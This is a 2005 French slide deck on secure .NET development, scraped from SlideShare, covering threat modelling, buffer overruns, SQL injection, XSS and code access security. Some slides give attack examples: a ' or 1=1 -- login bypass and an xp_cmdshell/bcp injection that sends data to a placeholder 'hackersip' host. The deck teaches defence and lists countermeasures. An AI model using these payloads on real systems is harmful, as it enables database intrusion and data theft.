Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Ecrire du code sécurisé avec .net

89 views

Published on

Microsoft Student Club Summit 2005 : Ecrire du code sécurisé avec .net

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Ecrire du code sécurisé avec .net

  1. 1. Ecrire du code sécuriséEcrire du code sécurisé avec .netavec .net
  2. 2. MoiMoi • Patrice Lamarche • MVS • Formateur Labo.net • Administrateur réseau CodeS-SourceS • http://blogs.labo-dotnet.com/patrice/
  3. 3. Logiciel de qualitéLogiciel de qualité Logiciel sécurisé Logiciel fiable Logiciel de qualité
  4. 4. Les failles de sécurité coûtentLes failles de sécurité coûtent cher à réparer…cher à réparer… • Coût lié à la coordination du développement • Coût des développeurs trouvant le code vulnérable • Coût des développeurs créant le correctif • Coût des testeurs testant l’installation du correctif • Coûts liés à la création et aux tests des versions localisées • Coût de la signature numérique du correctif • Coût de la mise en ligne du correctif • Coût de la rédaction de la documentation du correctif • Coût liés aux relations publiques • Coût de la bande passante et du téléchargement • Coût de la perte de productivité des développeurs • Coût de l’application du correctif • Coût potentiel lié à la perte de revenus Chez Microsoft, au sein du MSRC, on estime que le coût de création d’un correctif est de 100 000 $
  5. 5. SD3 + CSD3 + C
  6. 6. Améliorer la qualitéAméliorer la qualité
  7. 7. Amélioration du processus deAmélioration du processus de développement d’applicationsdéveloppement d’applications • Prenez en compte la sécurité : – Au début du processus – Pendant le développement – Pendant le déploiement – À chaque étape clé de la révision du logiciel • Recherchez les bogues liés à la sécurité jusqu'à la fin du processus de développement
  8. 8. Chronologie développementChronologie développement sécurisésécurisé
  9. 9. Sécurité dès la conceptionSécurité dès la conception • Sensibiliser l'équipe de conception à la sécurité – Assurer une formation continue – Bousculer les esprits : l’idée reçue selon laquelle « Ce que je ne connais pas n'est pas dangereux pour moi » n'est pas vraie ! • Prendre en compte la sécurité dès la phase de conception – Définir les objectifs du produit en termes de sécurité – Mettre en œuvre la sécurité comme fonctionnalité clé du produit – Utiliser la modélisation des menaces pendant la phase de conception
  10. 10. Qu'est-ceQu'est-ce queque lala modmodéélisationlisation desdes  menacesmenaces  ?? • La modélisation des menaces est une analyse basée sur la sécurité dont les objectifs sont les suivants : – Aider l’équipe à identifier les vulnérabilités du logiciel – Évaluer les menaces relatives à une application – Réduire les risques globaux à l'égard de la sécurité – Identifier les ressources – Découvrir les vulnérabilités – Identifier les menaces – Permettre d'établir la base des spécifications de conception en matière de sécurité
  11. 11. AvantagesAvantages dede lala modmodéélisationlisation desdes  menacesmenaces • Permet de mieux comprendre votre application • Permet de rechercher les erreurs • Permet d'identifier les erreurs de conception complexes • Permet d'intégrer de nouveaux membres à l'équipe • Permet d'établir des programmes de test de sécurité bien conçus
  12. 12. Processus de modélisation desProcessus de modélisation des menacesmenaces Identifier les ressources1 Créer une vue d'ensemble de l'architecture2 Décomposer l'application3 Identifier les menaces4 Documenter les menaces5 Évaluer les menaces6 Processus de modélisation des menaces
  13. 13. ProcessusProcessus dede modmodéélisationlisation desdes  menacesmenaces ÉÉtapetape 11  :: IdentifierIdentifier lesles ressourcesressources • Établissez la liste des ressources devant être protégées : – Données confidentielles, telles que les bases de données des clients – Pages Web – Disponibilité système – Tous les autres éléments qui, s'ils étaient endommagés, pourraient empêcher le bon fonctionnement de votre application
  14. 14. ProcessusProcessus dede modmodéélisationlisation desdes  menacesmenaces ÉÉtapetape 22  :: CrCrééer uneer une vuevue d'ensembled'ensemble dede  l'architecturel'architecture• Identifiez ce que fait l'application • Créez un diagramme de l'architecture
  15. 15. ProcessusProcessus dede modmodéélisationlisation desdes  menacesmenaces ÉÉtapetape 33  :: DDéécomposercomposer l'applicationl'application • Décomposez l'application • Créez un profil de sécurité basé sur les domaines de vulnérabilité classiques • Examinez les interactions entre les différents sous- systèmes • Utilisez les diagrammes UML ou de flux de données
  16. 16. ProcessusProcessus dede modmodéélisationlisation desdes  menacesmenaces ÉÉtapetape 44  :: IdentifierIdentifier lesles menacesmenaces • Constituez une équipe • Identifiez les menaces – Menaces liées au réseau – Menaces liées aux systèmes hôtes – Menaces liées à l'application
  17. 17. ProcessusProcessus dede modmodéélisationlisation desdes  menacesmenaces IdentifierIdentifier lesles menacesmenaces àà l'aidel'aide dede STRIDESTRIDE
  18. 18. ProcessusProcessus dede modmodéélisationlisation desdes  menacesmenaces IdentifierIdentifier lesles menacesmenaces àà l'aidel'aide d'organigrammesd'organigrammes desdes menacesmenaces
  19. 19. ProcessusProcessus dede modmodéélisationlisation desdes  menacesmenaces ÉÉtapetape 55  :: DocumenterDocumenter lesles menacesmenaces • Documentez les menaces à l'aide d'un modèle : • Ne renseignez pas le champ Risque (pour l'instant)
  20. 20. ProcessusProcessus dede modmodéélisationlisation desdes  menacesmenaces ÉÉtapetape 66  :: ÉÉvaluervaluer lesles menacesmenaces • Utilisez la formule suivante : Risque = Probabilité * Dommage potentiel • Utilisez le modèle DREAD pour noter les menaces – Dommage potentiel – Reproductibilité – Exploitation – Utilisateurs Affectés – Découverte
  21. 21. ProcessusProcessus dede modmodéélisation deslisation des  menacesmenaces ExempleExemple  :: ÉÉvaluervaluer lesles menacesmenaces
  22. 22. SD3 pour nousSD3 pour nous
  23. 23. Il y a deux types majeurs deIl y a deux types majeurs de défaut de sécuritédéfaut de sécurité 1. Les problèmes liées à une confiance injustifiée dans les entrées 2. Tout le reste…
  24. 24. Problèmes liées à une confianceProblèmes liées à une confiance injustifiée dans les entréesinjustifiée dans les entrées
  25. 25. Buffer overrunBuffer overrun • Pas nouveau => premières docs dans les 60’s • Quelques exploitations célèbres : • Code Red • Slammer • Sasser
  26. 26. Buffer OverrunBuffer Overrun Buffer Return Address Local variables char[10] Espace mémoire utilisable par une application malveillante Hackers peuvent changer cette adresse pour exécuter le code qu’ils souhaitent The CPU Stack
  27. 27. Buffer OverrunBuffer Overrun • On alloue un tableau de 512 octets • Si la fonction gets() récupère plus de données qu’attendu (+ de 512 octets), les données seront quand même mises sur la pile • En choisissant les données saisies, il est possible d’exécuter une suite spécifique d’instructions main(int argc, char ** argv) { char line[512]; ... gets(line); ...
  28. 28. Buffer OverrunBuffer Overrun • Utiliser des fonctions sécurisées – Incluent des tests de d’intervalles – Utiliser strncpy et non strcpy() • Utiliser le switch de compilation /GS – XP SP2 est lourd car des DLL ont été recompilées avec ce switch • Utiliser du code managé – CLR, VB, Perl, JVM
  29. 29. Injection SQLInjection SQL • Faille courante pour les applications web mais également valable pour n’importe quel type d’application (Windows, mobile, service web, etc…) • Select * from users where login=‘login’ and password = ‘password’
  30. 30. SQL InjectionSQL Injection Patrice password "Select * from users where login=‘ “ + txtlogin.text + “’ and password=‘“ + txtpassword.text + “’ " "Select * from users where login=‘Patrice’ and password=‘password’
  31. 31. SQL InjectionSQL Injection ‘ or 1=1 -- "Select * from users where login=‘ “ + txtlogin.text + “’ and password=‘“ + txtpassword.text + “’ " "Select * from users where login=‘’ or 1=1 -- ‘ and password=‘’
  32. 32. SQL Injection quelques idées ;)SQL Injection quelques idées ;) • insert into • OPENROWSET('SQLoledb’, • ‘server=servername;uid=sa;pwd=h8ck3r’, • ‘select * from table1') • select * from table2
  33. 33. SQL Injection quelques idées ;)SQL Injection quelques idées ;) • create table AttackerTable (data text) ; • bulk insert AttackerTable from ‘pwdump.exe' with (codepage='RAW') ; • exec xp_cmdshell ‘bcp “select * from AttackerTable” queryout pwdump.exe -c -Craw -Shackersip -Usa -Ph8ck3r' ;
  34. 34. SQL Injection - ParadesSQL Injection - Parades • Utilisation de procédures stockées • Exécution de code sous forme de procédure et non sous forme de concaténation • Parser les caractères spéciaux, tester les types des données entrées
  35. 35. Failles CSSFailles CSS • Injection d’HTML, Javascript dans des pages web • => Vols de cookies, modification des pages, redirections, etc…
  36. 36. Failles CSSFailles CSS • ASP.net 1.1 et ultérieur securisé par défaut • Parser les saisies utilisateurs
  37. 37. Maitriser la sécurité de sesMaitriser la sécurité de ses applications Windowsapplications Windows • La sécurité de Windows est orientée Utilisateur • Un utilisateur peut (ou pas) faire quelque chose => pas de granularité • Les utilisateurs sont vulnérables aux attaques : – Téléchargements – Virus dans les mails – Vers – Etc…
  38. 38. Maitriser la sécurité de sesMaitriser la sécurité de ses applications Windowsapplications Windows • Aujourd’hui les applications sont basés sur des composants • ➙ Besoin d’un modèle de sécurité sur les composants – Ce que le composant est autorisé à faire – Pas de « tout ou rien » – Origine du composant En complément de la sécurité de Windows
  39. 39. Permissions de sécuritéPermissions de sécurité • Permissions attribuées individuellements – Permet d’accéder à des ressources – Pour effectuer des opérations • Exemples : – Permissions File I/O (lecture, ecriture, ajout) – Permissions UI (Accès aux autres fenêtres, au presse-papier,…)
  40. 40. PermissionsPermissions • .NET offre 19 types de permission – Environment variables – File dialog – File IO – Isolated storage – Reflection – Registry – UI – Security – DNS – Printing Web accessWeb access Performance counterPerformance counter Directory servicesDirectory services Message queueMessage queue Service controllerService controller OLE DBOLE DB SQL clientSQL client Event logEvent log Sockets accessSockets access
  41. 41. Jeux de permissionsJeux de permissions
  42. 42. Sécurité basée sur les preuvesSécurité basée sur les preuves • Les permission sont attribuées selon des preuves • Preuves qui permet d’identifier les assemblys • Preuve sur l’origine – Dossier de l’application, Site, Url, Zone • Preuve sur le contenu – Nom fort, Certificat, Hash
  43. 43. Groupes de codesGroupes de codes • Correspondance d’un jeu de permission avec une preuve
  44. 44. Stratégie de sécuritéStratégie de sécurité • 3 niveaux de sécurité : – Entreprise – Machine – User
  45. 45. Administrer les droitsAdministrer les droits • Console MMC de configuration du framework .net • Affichage des différentes stratégies de sécurité, des autorisations, etc…
  46. 46. Questions ?Questions ? Patrice.lamarche@supinfo.comPatrice.lamarche@supinfo.com

×